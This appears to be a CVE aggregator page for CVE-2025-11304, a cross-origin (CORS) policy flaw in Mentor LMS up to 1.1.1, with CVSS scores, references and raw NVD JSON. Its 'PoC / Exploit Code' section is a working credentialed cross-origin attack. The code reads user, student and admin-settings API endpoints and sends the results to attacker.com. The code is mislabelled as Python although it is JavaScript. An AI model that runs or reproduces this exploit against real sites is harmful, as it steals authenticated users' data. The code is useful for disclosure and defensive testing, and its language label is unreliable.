CVE-2025-11304

Description

A flaw has been found in CodeCanyon/ui-lib Mentor LMS up to 1.1.1. Affected by this vulnerability is an unknown functionality of the component API. Executing manipulation can lead to permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CodeCanyon/ui-lib Mentor LMS ≤ 1.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-11304 - Mentor LMS CORS Misconfiguration PoC
// This PoC demonstrates exploiting permissive cross-domain policy in Mentor LMS API

// Step 1: Create a malicious HTML page hosted on an attacker-controlled domain
// Step 2: Trick a logged-in user into visiting this page

// HTML payload to be hosted on attacker domain:
/*
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var targetAPI = "https://victim-mentor-lms-site.com/api/v1/user/profile";

// Attempt to read sensitive data via cross-origin request
var xhr = new XMLHttpRequest();
xhr.open("GET", targetAPI, true);
xhr.withCredentials = true; // Include cookies for authenticated session
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        // Exfiltrate stolen data to attacker server
        var img = new Image();
        img.src = "https://attacker.com/exfil?data=" + btoa(xhr.responseText);
    }
};
xhr.send();
</script>
</body>
</html>
*/

// JavaScript exploit snippet (to be embedded in malicious page):
const exploitCORS = () => {
    const apiEndpoints = [
        "/api/v1/user/profile",
        "/api/v1/courses",
        "/api/v1/students",
        "/api/v1/admin/settings"
    ];
    
    apiEndpoints.forEach(endpoint => {
        fetch(`https://target-mentor-lms.com${endpoint}`, {
            method: 'GET',
            credentials: 'include',
            mode: 'cors'
        })
        .then(response => response.json())
        .then(data => {
            // Send stolen data to attacker-controlled server
            navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
        })
        .catch(err => console.error('Request failed:', err));
    });
};

// Trigger exploit when victim visits the page
exploitCORS();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11304
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11304
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11304/
[4] VulDB https://vuldb.com/cve/CVE-2025-11304
[5] https://github.com/PlsRevert/CVEs/issues/3
[6] https://github.com/PlsRevert/CVEs/issues/3#issue-3447867888
[7] https://vuldb.com/?ctiid.327185
[8] https://vuldb.com/?id.327185
[9] https://vuldb.com/?submit.661733
[10] https://github.com/PlsRevert/CVEs/issues/3
[11] https://github.com/PlsRevert/CVEs/issues/3#issue-3447867888

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11304", "sourceIdentifier": "[email protected]", "published": "2025-10-05T21:15:31.910", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in CodeCanyon/ui-lib Mentor LMS up to 1.1.1. Affected by this vulnerability is an unknown functionality of the component API. Executing manipulation can lead to permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-942"}]}], "references": [{"url": "https://github.com/PlsRevert/CVEs/issues/3", "source": "[email protected]"}, {"url": "https://github.com/PlsRevert/CVEs/issues/3#issue-3447867888", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327185", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327185", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.661733", "source": "[email protected]"}, {"url": "https://github.com/PlsRevert/CVEs/issues/3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://github.com/PlsRevert/CVEs/issues/3#issue-3447867888", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}